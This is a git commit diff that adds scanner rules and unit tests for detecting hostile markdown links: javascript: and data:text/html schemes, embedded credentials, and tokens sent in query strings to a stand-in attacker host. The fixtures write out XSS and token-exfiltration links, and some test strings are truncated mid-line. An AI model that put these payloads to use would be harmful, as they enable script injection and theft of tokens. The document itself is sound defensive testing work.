feat(113): detect javascript:/data:/userinfo/token-in-query in markdown links (#133)

* test(113): add per-rule failing tests + hostile fixture for markdown link payloads

RED phase for issue #113 — scanForInjection() currently returns { clean: true }
for markdown links containing javascript:, data:text/html, userinfo credentials,
and token-in-query payloads.

Changes:
- tests/fixtures/adversarial/security/context-malicious-markdown-link.md:
  Extended to contain one hostile example per rule class (MD-LINK-JS-SCHEME,
  MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) plus benign
  negative controls ()
- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
- [exfil](https://attacker.example.com/?token=$GITHUB_TOKEN)
None of these should auto-execute or be promoted to agent instructions
just because they appear in a plan markdown file.
<!-- MD-LINK-DATA-SCHEME: data: text/html URI (not in safe-list) -->
- [download](data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=)
<!-- MD-LINK-USERINFO: credentials embedded in URL authority -->
- [credentials](https://user:ghp_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com)
<!-- MD-LINK-TOKEN-IN-QUERY: sensitive key in query string -->
- [exfil](https://attacker.example.com/?token=leaked_value)
## Benign controls (must NOT be flagged)
<!-- safe data: image — allowed by safe-list -->
- ![logo]()
<!-- mailto: — no userinfo colon-before-at pattern -->
- [email](mailto:user@example.com)
<!-- normal https link with no sensitive query keys -->
- [repo](https://github.com/owner/repo)
<!-- port-in-URL (host:port, not userinfo) -->
- [service](https://example.com:8443/path)

View File

@@ -580,25 +580,22 @@ describe('scanForInjection: fixture files trip the scanner', () => {
});
}
test('PINNED: malicious-markdown-link fixture is NOT flagged by current scanner', () => {
// The INJECTION_PATTERNS set in security.cjs targets instruction
// override, role manipulation, system-prompt extraction, fake
// boundary tags, and base64/exfil verbs. It does NOT flag link
// payloads such as javascript:/data:/embedded-credentials URLs.
//
// This is a deliberate scope decision (link analysis belongs to
// a renderer / link-policy module, not the prompt-injection
// scanner) — but the issue #3596 acceptance list calls out
// "malicious markdown links" so we PIN the current behavior
// here. Negative proof: a fixture composed entirely of hostile
// links is reported `clean: true`. If a future change extends
// the scanner to catch these patterns, this assertion will fail
// and force a deliberate update to the acceptance map.
test('malicious-markdown-link fixture is flagged by scanner — all 4 rule IDs fire', () => {
// Issue #113: scanForInjection must detect hostile markdown link payloads.
// The fixture contains one hostile example per rule class (MD-LINK-JS-SCHEME,
// MD-LINK-DATA-SCHEME, MD-LINK-USERINFO, MD-LINK-TOKEN-IN-QUERY) and benign
// negative controls (data:image/png, mailto:, normal https, port-only URL).
// Each rule ID must appear in structuredFindings; benign lines must not add extras.
const content = fs.readFileSync(
path.join(FIXTURE_DIR, 'context-malicious-markdown-link.md'), 'utf-8');
const result = scanForInjection(content);
assert.strictEqual(result.clean, true,
'malicious link patterns are currently out of scope for scanForInjection (PINNED)');
const result = scanForInjection(content, { file: 'context-malicious-markdown-link.md' });
assert.strictEqual(result.clean, false,
'fixture with hostile markdown links must be reported unclean');
const ruleIds = (result.structuredFindings || []).map(f => f.ruleId);
for (const expected of ['MD-LINK-JS-SCHEME', 'MD-LINK-DATA-SCHEME', 'MD-LINK-USERINFO', 'MD-LINK-TOKEN-IN-QUERY']) {
assert.ok(ruleIds.includes(expected),
`fixture must trigger ${expected}; found: [${ruleIds.join(', ')}]`);
}
});
test('strict-mode invisible-unicode fixture is detected', () => {
@@ -650,6 +647,225 @@ describe('validatePath: hostile path values are rejected before write', () => {
});
});
// ─── scanForInjection: markdown link rules (issue #113) ─────────────────────
//
// Per-rule positive and negative tests for the four MARKDOWN_LINK_PATTERNS
// added in #113. Each rule fires on a targeted positive case and stays silent
// on the benign negative controls below.
const {
MARKDOWN_LINK_PATTERNS,
} = require('../get-shit-done/bin/lib/security.cjs');
describe('scanForInjection: MD-LINK-JS-SCHEME (javascript: URI)', () => {
// Source: OWASP Cross-Site Scripting Prevention Cheat Sheet
// https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
test('positive: javascript: link target is flagged', () => {
const text = "[click](javascript:alert('xss'))";
const result = scanForInjection(text, { file: 'test.md' });
assert.strictEqual(result.clean, false, 'javascript: link must be flagged');
assert.ok(
Array.isArray(result.structuredFindings) && result.structuredFindings.length > 0,
'structuredFindings must be populated',
);
const f = result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-JS-SCHEME');
assert.ok(f, 'finding must carry ruleId MD-LINK-JS-SCHEME');
assert.strictEqual(f.file, 'test.md', 'finding must carry file context');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /javascript:/i.test(f.match),
`finding match must include the hostile scheme; got: ${f.match}`);
});
test('positive: javascript: with case variations', () => {
const result = scanForInjection('[x](JavaScript:void(0))');
assert.strictEqual(result.clean, false, 'case-insensitive javascript: must be flagged');
});
test('negative: https: link is not flagged as JS scheme', () => {
const result = scanForInjection('[repo](https://github.com/owner/repo)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
'https: link must not trigger MD-LINK-JS-SCHEME',
);
});
test('negative: mailto: link is not flagged as JS scheme', () => {
const result = scanForInjection('[email](mailto:user@example.com)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-JS-SCHEME'),
'mailto: link must not trigger MD-LINK-JS-SCHEME',
);
});
});
describe('scanForInjection: MD-LINK-DATA-SCHEME (data: non-image/font URI)', () => {
// Source: OWASP File Upload Cheat Sheet — SVG Files
// https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#svg-files
// )';
const result = scanForInjection(text, { file: 'plan.md' });
assert.strictEqual(result.clean, false, 'data:text/html must be flagged');
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME');
assert.ok(f, 'finding must carry ruleId MD-LINK-DATA-SCHEME');
assert.strictEqual(f.file, 'plan.md');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /data:/i.test(f.match),
`finding match must include the hostile data: scheme; got: ${f.match}`);
});
test('positive: data:application/javascript is flagged', () => {
const result = scanForInjection('[x](data:application/javascript,alert(1))');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
);
});
test('positive: )');
assert.strictEqual(result.clean, false, 'data:image/svg+xml must be flagged per OWASP');
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
);
});
test('negative: )');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
'data:image/png must not trigger MD-LINK-DATA-SCHEME',
);
});
test('negative: data:font/woff2 is NOT flagged (safe-list)', () => {
const result = scanForInjection('[f](data:font/woff2;base64,AAAA=)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-DATA-SCHEME'),
'data:font/woff2 must not trigger MD-LINK-DATA-SCHEME',
);
});
});
describe('scanForInjection: MD-LINK-USERINFO (embedded credentials in URL)', () => {
// Source:
// RFC 3986 §3.2.1 — userinfo syntax
// https://www.rfc-editor.org/rfc/rfc3986#section-3.2.1
// RFC 9110 §4.2.4 — HTTP deprecates userinfo
// https://www.rfc-editor.org/rfc/rfc9110#section-4.2.4
test('positive: https://user:pass@host is flagged', () => {
const text = '[creds](https://user:secret@example.com/path)';
const result = scanForInjection(text, { file: 'doc.md' });
assert.strictEqual(result.clean, false, 'userinfo in URL must be flagged');
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-USERINFO');
assert.ok(f, 'finding must carry ruleId MD-LINK-USERINFO');
assert.strictEqual(f.file, 'doc.md');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /@/.test(f.match),
`finding match must include the @ character from userinfo; got: ${f.match}`);
});
test('positive: http://admin:pw@192.168.1.1 is flagged', () => {
const result = scanForInjection('[router](http://admin:password123@192.168.1.1/)');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
);
});
test('negative: mailto:user@host is NOT flagged (no colon before @)', () => {
const result = scanForInjection('[email](mailto:user@example.com)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
'mailto: must not trigger MD-LINK-USERINFO',
);
});
test('negative: https://host:443/path is NOT flagged (port, not userinfo)', () => {
const result = scanForInjection('[service](https://example.com:8443/path)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-USERINFO'),
'port-only URL must not trigger MD-LINK-USERINFO',
);
});
});
describe('scanForInjection: MD-LINK-TOKEN-IN-QUERY (sensitive key in query string)', () => {
// Source: RFC 9700 OAuth 2.0 Security BCP §4.3.1
// https://www.rfc-editor.org/rfc/rfc9700#section-4.3.1
// "tokens MUST NOT be passed in URI query parameters"
test('positive: ?token= in link target is flagged', () => {
const text = '[exfil](https://attacker.example.com/?token=leaked_value)';
const result = scanForInjection(text, { file: 'plan.md' });
assert.strictEqual(result.clean, false, '?token= must be flagged');
const f = result.structuredFindings && result.structuredFindings.find(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY');
assert.ok(f, 'finding must carry ruleId MD-LINK-TOKEN-IN-QUERY');
assert.strictEqual(f.file, 'plan.md');
assert.ok(typeof f.line === 'number' && f.line >= 1, 'finding must carry 1-based line number');
assert.ok(typeof f.match === 'string' && /token=/i.test(f.match),
`finding match must include the sensitive key name; got: ${f.match}`);
});
test('positive: &access_token= is flagged', () => {
const result = scanForInjection('[x](https://api.example.com/data?foo=1&access_token=secret)');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
);
});
test('positive: ?api_key= is flagged', () => {
const result = scanForInjection('[x](https://api.example.com/?api_key=abc123)');
assert.strictEqual(result.clean, false);
assert.ok(
result.structuredFindings && result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
);
});
test('negative: ?page=2&limit=10 does not fire (benign query keys)', () => {
const result = scanForInjection('[page](https://api.example.com/items?page=2&limit=10)');
assert.ok(
!Array.isArray(result.structuredFindings) ||
!result.structuredFindings.some(sf => sf.ruleId === 'MD-LINK-TOKEN-IN-QUERY'),
'benign query keys must not trigger MD-LINK-TOKEN-IN-QUERY',
);
});
});
// ─── Parity test: hook MARKDOWN_LINK_PATTERNS is superset of canonical ───────
//
// D1: Prevents future drift between scripts/security.cjs (canonical export)
// and hooks/gsd-read-injection-scanner.js (inlined for hook independence).
// If the hook's inline list does not contain every pattern from the canonical
// export, this test fails loudly and forces a deliberate update.
describe('MARKDOWN_LINK_PATTERNS parity: hook inline list is superset of canonical', () => {
test('every canonical MARKDOWN_LINK_PATTERN source string appears in the hook source', () => {
assert.ok(
Array.isArray(MARKDOWN_LINK_PATTERNS),
'security.cjs must export MARKDOWN_LINK_PATTERNS array',
);
const hookSource = fs.readFileSync(READ_SCANNER_HOOK, 'utf-8');
for (const entry of MARKDOWN_LINK_PATTERNS) {
// Each entry is { pattern: RegExp, ruleId: string, safePredicate?: Function }
assert.ok(entry.pattern instanceof RegExp, `entry must have a RegExp .pattern`);
const src = entry.pattern.source;
assert.ok(
hookSource.includes(src),
`Hook gsd-read-injection-scanner.js must contain pattern source: ${src}`,
);
}
});
});
// ─── validateShellArg + validatePhaseNumber + validateFieldName: focused negative cases ──
describe('input validators: shell metacharacter and identifier rejection', () => {